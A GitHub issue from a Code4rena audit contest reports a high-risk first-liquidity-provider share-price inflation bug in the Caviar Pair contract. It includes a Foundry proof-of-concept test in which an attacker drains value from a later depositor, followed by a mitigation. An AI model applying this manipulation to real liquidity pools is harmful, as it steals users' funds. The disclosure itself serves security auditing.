Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

first liquidity provider can manipulate price of share and steal funds from future liquidity providers #151

Closed
code423n4 opened this issue Dec 17, 2022 · 2 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-442 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L99
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L417-L428

Vulnerability details

Impact

The first liquidity provider can manipulate price of share by having 1 share only and sending in baseTokens and fractionalTokens to manipulate the price of the share. Future liquidity providers will then lose out on precision loss which will be gained by the first liquidity provider.

Proof of Concept

Place this in NftAdd.sol, babe that started out with 1e18 baseTokens is able to gain 2e17 baseTokens from victim after the attack.

    function testUserCanManipulatePrice() public {
        uint256[] memory _tokenIds = new uint[](1);
        console.log(lpToken.totalSupply()); // begin with 0 supply


        vm.startPrank(babe);
        bayc.setApprovalForAll(address(p), true);
        usd.approve(address(p), type(uint256).max);

            bayc.mint(babe, 5);

        _tokenIds[0] = 5;

        deal(address(usd), babe, 1e18, true);
        uint256 lpTokenAmount = p.nftAdd(1e18, _tokenIds, 1, proofs);

        console.log(lpToken.totalSupply()); // begin with 1e18 supply


        p.remove(1e18-1, 1e18-1, 1e18-1); // make lptoken to 1 share = 1 usd and 1 fractional token


        console.log(lpToken.totalSupply()); // left 1 share

        p.transfer(address(p), 1e18-1);

        usd.transfer(address(p), 6e17); // 1 share = 6e17 usdc and 1e18 fractional token



        vm.stopPrank();


        deal(address(usd), address(this), 1e18, true); // victim
        bayc.mint(address(this), 6);
        _tokenIds[0] = 6;
        lpTokenAmount = p.nftAdd(1e18, _tokenIds, 1, proofs);


        console.log(lpToken.totalSupply()); // total number of shares = 2

        vm.startPrank(babe);
        p.remove(1, 1, 1);
        console.log(usd.balanceOf(babe)); // babe now ends with more usdc than he has


    }

Tools Used

Foundry

Recommended Mitigation Steps

Set a minimum amount of share that must be left in the pool when withdrawing and also burn away some shares from first liquidity provider to ensure that the price is more robust against such attacks.

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Dec 17, 2022
code423n4 added a commit that referenced this issue Dec 17, 2022
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as duplicate of #442

C4-Staff added a commit that referenced this issue Jan 6, 2023
@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jan 10, 2023
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as satisfactory

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-442 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

2 participants